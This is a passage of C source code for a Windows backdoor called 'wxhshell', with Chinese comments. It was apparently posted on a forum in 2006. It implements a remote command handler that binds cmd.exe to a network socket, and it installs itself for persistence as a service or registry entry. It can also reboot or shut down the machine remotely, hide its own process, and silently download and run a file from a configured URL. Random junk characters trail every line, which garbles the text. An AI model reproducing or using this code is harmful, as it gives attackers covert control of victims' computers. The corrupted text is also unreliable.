  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >u=%Lz"J  
  } I@n*[EC   
  else { -xJX_6}A  
iv:,fkwG  
    switch(cmd[0]) { {(rf/:X!p  
  X*pZNz&E  
  // 帮助  T/[f5?p  
  case '?': { lijB#1<8*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tNK^z7Dm  
    break; A LXUaE.  
  } Q  |  
  // 安装 ,{k<JA {  
  case 'i': { ~?#~Ar  
    if(Install()) 8r,9OM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }>2t&+v+  
    else gaQ[3g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B!eK!B  
    break; RX:R*{]-  
    } -Q6(+(7_|  
  // 卸载 9Ei5z6Vk/+  
  case 'r': { {!L=u/qs"  
    if(Uninstall()) vR7ctav  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xEjx]w/&  
    else U+-F*$PO+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pp ,Um(  
    break; "tqnx?pM  
    } n_v02vFAHT  
  // 显示 wxhshell 所在路径 C(G(^_6  
  case 'p': { 6N"m?g*Z d  
    char svExeFile[MAX_PATH]; (Aorx #z  
    strcpy(svExeFile,"\n\r"); P{?;T5ap6  
      strcat(svExeFile,ExeFile); G'u|Q mb1  
        send(wsh,svExeFile,strlen(svExeFile),0); 'e F%  
    break; `M&P[ .9Pz  
    } _ w/_(k  
  // 重启 wHf&R3fg  
  case 'b': { S+r^B?a<oM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0!pJ5q ,A  
    if(Boot(REBOOT)) Z a! gbt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `19qq]  
    else { U_]=E<el  
    closesocket(wsh); >?z:2@Q)B  
    ExitThread(0); H nK!aa  
    } mjbTy"}"  
    break; xA92 C  
    } H ( vx/q  
  // 关机 C,fY.CeI  
  case 'd': { Pb#P`L7OB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vm8$:W2 }  
    if(Boot(SHUTDOWN)) !v0"$V5+i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `xCOR  
    else { 7'z(~3D  
    closesocket(wsh); 1B 5:s,Oyj  
    ExitThread(0); \wYc1M@7V  
    } qe<Hfp/p  
    break; q]CeD   
    } 1w`2Dt  
  // 获取shell LT/mb2  
  case 's': { S#tY@h@XV  
    CmdShell(wsh); 6ZcXS  
    closesocket(wsh); oe9lF*$/  
    ExitThread(0); &:<, c12  
    break; "tUwo(K[  
  } hUh+JW  
  // 退出 eTT) P  
  case 'x': { h h"h j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Fk{J@Y  
    CloseIt(wsh); e4DMO*6  
    break; nob0T5G  
    } M ,`w A  
  // 离开 zEj#arSE4  
  case 'q': { ?E6^!4=,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +1QK}H ~  
    closesocket(wsh); ;r.EC}>m  
    WSACleanup(); Lkn4<'un  
    exit(1); -jB3L:  
    break; z8E1m"  
        } ];1R&:t  
  } &kzj?xK=(j  
  } cL G6(<L  
rh66_eV  
  // 提示信息 E;9>ePd@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &n:{x}Uc  
} 3@_Elu  
  } zyFUl%  
L0L2Ns  
  return; M/pMs 6  
} 0mTr-`s  
xR?V,uV'$&  
// shell模块句柄 Od##U6e`  
int CmdShell(SOCKET sock) ~W-cGb3c  
{ 5!(?m~jJ  
STARTUPINFO si; 19W:-Om  
ZeroMemory(&si,sizeof(si));  .t =  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ; b*i3*!g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y%@hbUc}x9  
PROCESS_INFORMATION ProcessInfo; eVJ^\z:4  
char cmdline[]="cmd"; @}&_Dvf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $,ikv?"L  
  return 0; 4t*so~  
} 2:SO_O4C  
v+xB7w  
// 自身启动模式 '#.#$8l  
int StartFromService(void) "g0(I8  
{ 0 ipN8Pg+  
typedef struct Hr^3`@}#1  
{ g9~]s 9  
  DWORD ExitStatus; <CZgQ\Mt  
  DWORD PebBaseAddress; |gx ~ gG<  
  DWORD AffinityMask; [M%._u,  
  DWORD BasePriority; @1:0h9%  
  ULONG UniqueProcessId; 'V (,.'  
  ULONG InheritedFromUniqueProcessId; `\CVV*hP  
}   PROCESS_BASIC_INFORMATION; SwW['c'*]B  
b?T  
PROCNTQSIP NtQueryInformationProcess; oyvKa g  
n}?wVfEy  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \)/yC74r7(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R[jEvyD>(  
&%mXYj3y5  
  HANDLE             hProcess; !RH.|}  
  PROCESS_BASIC_INFORMATION pbi; /.1. MssQM  
yK%ebq]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @7 <uMasfp  
  if(NULL == hInst ) return 0; 2VGg 6%  
U*)m' ,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oD.r `]k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `$TRleSi  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )Xtn k  
-7{ $ Vj  
  if (!NtQueryInformationProcess) return 0; Ub amB+QT  
u0Nm.--;_3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Wl- <HR!n  
  if(!hProcess) return 0; !EIjN  
[eUftr9&0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g(|{')8?d  
T~4N+fK  
  CloseHandle(hProcess); OI}cs2m  
SUM4Di7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sN6N >{  
if(hProcess==NULL) return 0; {{yZ@>o6  
D5,P)[  
HMODULE hMod; j+-P :xvP  
char procName[255]; ,Lr<)p  
unsigned long cbNeeded; .6f%?oo  
S* *oA 6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); / JkC+7H4  
qIMA6u/  
  CloseHandle(hProcess); De&6 9  
.iD*>M:W  
if(strstr(procName,"services")) return 1; // 以服务启动 !\Xm!I8  
Tr0B[QF  
  return 0; // 注册表启动 2L?!tBw?1  
} Bi,;lR5  
\ZU1J b1c  
// 主模块 umi5Wb<  
int StartWxhshell(LPSTR lpCmdLine) s?R2B)a  
{ u8GMUN  
  SOCKET wsl; kOo~%kcQ'  
BOOL val=TRUE; `n5"0QRd  
  int port=0; @&|l^ 1  
  struct sockaddr_in door; *+)AqKP\Kv  
XolZonJr  
  if(wscfg.ws_autoins) Install(); d;mx<i=/  
A][fLlpr  
port=atoi(lpCmdLine); ?';OD3-  
)Gw~XtB2  
if(port<=0) port=wscfg.ws_port; mtz#}qD66  
$-}e; VZb  
  WSADATA data; *^%Q0mU[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I/gjenUK  
qt%D'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   RPd}Wf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1K,1X(0rL8  
  door.sin_family = AF_INET; \^7C0R-hX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); OyV<u@[i  
  door.sin_port = htons(port); L@`ouQ"sa  
~w8JH2O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sm[94,26  
closesocket(wsl); ';Zi@f"  
return 1; ~vlype3/EF  
} 8{`?= &%6  
,to+oSZE  
  if(listen(wsl,2) == INVALID_SOCKET) { D%6;^^WyUx  
closesocket(wsl); GaX[C<Wt  
return 1; g<{xC_J  
} )q7UxzE+  
  Wxhshell(wsl); $`R6=\|  
  WSACleanup(); ] e. JNo  
+)o}c"P!  
return 0; [ i#zP  
(jU6GJRP  
} !*6CWV0  
>D201&*G%  
// 以NT服务方式启动 E dZ\1'&/9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b& 1`NO  
{ y6]vl=^L  
DWORD   status = 0; z~`b\A,$  
  DWORD   specificError = 0xfffffff; zg-2C>(6a  
jck}" N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ys 5&PZg*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Vz6Qxd{m3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aaD;jxT&M|  
  serviceStatus.dwWin32ExitCode     = 0; UG=K|OXWJ  
  serviceStatus.dwServiceSpecificExitCode = 0; S[WG$  
  serviceStatus.dwCheckPoint       = 0; Sb~MQ_  
  serviceStatus.dwWaitHint       = 0; #>Zzf  
;2B{9{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [JF150zr  
  if (hServiceStatusHandle==0) return; g=I8@m  
E@7J:|.)R  
status = GetLastError(); ,#pXpAz/  
  if (status!=NO_ERROR) Um&(&?Xf  
{ J9~ g|5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; HRB<Y mP@  
    serviceStatus.dwCheckPoint       = 0; " Hd|7F'u=  
    serviceStatus.dwWaitHint       = 0; Y nLErJ  
    serviceStatus.dwWin32ExitCode     = status; \hCH>*x<  
    serviceStatus.dwServiceSpecificExitCode = specificError; {%_L=2n6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "etPT@gF  
    return; M)SEn/T-  
  } 8#vc(04(  
RjN{%YkXe  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l ok=  
  serviceStatus.dwCheckPoint       = 0; g)-bW+]q  
  serviceStatus.dwWaitHint       = 0; }iuWAFZbGS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j_Yp>=+[  
} I_RsYw  
qgfi\/$6  
// 处理NT服务事件,比如:启动、停止 o"*AtGR+"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 812$`5l  
{ =ZqT3_  
switch(fdwControl) G;YrF)\  
{ r?/'!!4  
case SERVICE_CONTROL_STOP: Fi0GknQ+  
  serviceStatus.dwWin32ExitCode = 0; i-6 Z"b{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~c\e'&sc;  
  serviceStatus.dwCheckPoint   = 0; RsYU59_Y  
  serviceStatus.dwWaitHint     = 0; t<#h$}=:Vt  
  { p|!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6Oy$gW)  
  } )rC6*eR  
  return; r(P(Rj2~  
case SERVICE_CONTROL_PAUSE: 0=?<y'=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @Z12CrJ  
  break;  P Y  
case SERVICE_CONTROL_CONTINUE: t2)rUWg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5k.oW=  
  break; P?k0zwOlBl  
case SERVICE_CONTROL_INTERROGATE: ]UmFhBR-  
  break; sIy^m}02  
}; 4T ~}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 62zYRs\Y)X  
} 1u:< 25  
=|Y,+/R?  
// 标准应用程序主函数 &wV]"&-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K57&yVX  
{ qw^uPs7Uw  
adR)Uq9  
// 获取操作系统版本 3xaR@xjS  
OsIsNt=GetOsVer(); h 5^Z2:#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,LnII  
w9bbMx  
  // 从命令行安装 k=jk`c{<[  
  if(strpbrk(lpCmdLine,"iI")) Install(); r8xv#r1  
Y/*mUS[oa  
  // 下载执行文件 h%uZYsK  
if(wscfg.ws_downexe) { 2%_vXo=I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y]f"@9G#  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2I,^YWR  
} 9J2NH|]c  
++^l]8  
if(!OsIsNt) { (^Y~/  
// 如果时win9x,隐藏进程并且设置为注册表启动 i uF*.hc,%  
HideProc(); r/u A.Aou^  
StartWxhshell(lpCmdLine); y#3j`. $3p  
} ?k(7 LX0j  
else ;;#qmGoE  
  if(StartFromService()) )% ~OH  
  // 以服务方式启动 ,)vDeU  
  StartServiceCtrlDispatcher(DispatchTable); A\HxDIU  
else ;6>2"{NW  
  // 普通方式启动 ]7Tkkw$  
  StartWxhshell(lpCmdLine); YTUZoW2  
H}hiT/+$  
return 0; `)T13Xv  
}
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只看该作者 1 发表于: 2006-10-10
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